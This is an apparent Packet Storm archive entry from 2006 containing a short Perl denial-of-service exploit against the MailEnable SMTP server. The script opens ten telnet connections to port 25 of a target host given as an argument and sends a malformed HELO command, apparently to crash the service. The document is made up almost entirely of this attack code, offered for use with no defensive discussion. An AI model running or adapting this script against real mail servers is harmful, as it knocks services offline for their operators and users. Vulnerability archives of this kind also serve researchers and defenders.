Mailenable-dos_pl.txt

2006-06-29T00:00:00
ID PACKETSTORM:47870
Type packetstorm
Reporter db0
Modified 2006-06-29T00:00:00

Description

                                        
                                            `#!/usr/bin/perl -w  
#  
# Mailenable SMTP DoS exploit  
# 24/06/2006  
#  
# Filbert at divisionbyzero dot be  
#  
  
use Net::Telnet;  
  
$string = "\0x99";  
  
for ($count = 1; $count <= 10; $count++)  
{  
$telnet = new Net::Telnet ( Timeout=>60, Errmode=>'return',Port=>'25');  
$telnet->open($ARGV[0]);use Net::Telnet;  
$telnet->print("helo ", $string, "\n");  
}  
  
--   
www.divisionbyzero.be  
  
`